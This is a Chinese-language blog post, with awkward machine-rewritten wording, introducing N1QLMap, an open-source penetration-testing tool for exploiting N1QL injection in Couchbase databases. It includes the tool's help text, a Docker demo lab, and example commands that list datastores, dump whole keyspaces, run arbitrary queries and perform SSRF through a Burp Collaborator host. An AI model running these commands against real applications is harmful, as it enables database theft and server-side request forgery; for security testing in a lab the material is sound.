发布于2022年11月4日2年前 如何使用N1QLMap来利用N1QL注入漏洞并从Couchbase数据库中提取数 N1QLMapN1QLMap是一款功能强大的N1QL注入缝隙运用东西,当时支撑针对Couchbase数据库进行渗透。该东西支撑通过CURL进行数据提取和SSRF进犯。该东西根据Python开发,因此具备较好的跨渠道特性。东西下载广阔研究人员能够运用下列指令将该项目源码克隆至本地:git clone https://github.com/FSecureLABS/N1QLMap.git东西帮助信息usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v] (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]]) host positional arguments: host Host used to send an HTTP request e.g. https://vulndomain.net optional arguments: -h, --help show this help message and exit -r REQUEST, --request REQUEST Path to an HTTP request -k KEYWORD, --keyword KEYWORD Keyword that exists in HTTP response when query is successful --proxy PROXY Proxy server address --validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default! -v, --verbose_debug Set the verbosity level to debug -d, --datastores Lists available datastores -ks DATASTORE_URL, --keyspaces DATASTORE_URL Lists available keyspaces for specific datastore URL -e KEYSPACE_ID, --extract KEYSPACE_ID Extracts data from a specific keyspace -q QUERY, --query QUERY Run arbitrary N1QL query -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]] Runs CURL N1QL function inside the query, can be used to SSRF东西运用首先,咱们需要向request.txt文件添加一个HTTP请求,然后运用*i*来制作一个注入点,大家能够通过检查example_request_1.txt文件以供参考。接下来,需要履行下列指令。提取数据存储:$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores从特定数据存储ID提取密钥空间:$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"从给定密钥空间提取全部文档:$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample运转任意查询语句:$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'履行CURL请求/SSRF:$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"东西要求除了Python 3环境之外,N1QLMap.py脚本不需其他任何的依靠组件。下列组件仅Demo所需,Demo位于该项目的n1ql-demo目录下:DockerDocer Compose如需在Kali上装置Docker和Docker Compose,请运转下列指令:# Docker Installation curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list apt-get update apt-get remove docker docker-engine docker.io apt-get install docker-ce # Start Docker Service systemctl start docker # Docker Compose Installation sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose接下来,运转下列指令即可测验Docker:docker run hello-world东西运用样例-Demo如需测验该东西并尝试运用N1QL注入缝隙,咱们能够运用装置了Couchbase和NodeJS Web应用程序的Docker设备来进行测验。如果现已装置好了上述依靠组件,咱们能够直接运转下列指令进行测验:cd n1ql-demo ./quick_setup.sh现在,咱们就能够履行N1QLMap来进行N1QL注入缝隙测验并从Couchbase数据库中提取数据了。项目地址N1QLMap:【GitHub传送门】参考资料https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database
创建帐户或登录后发表意见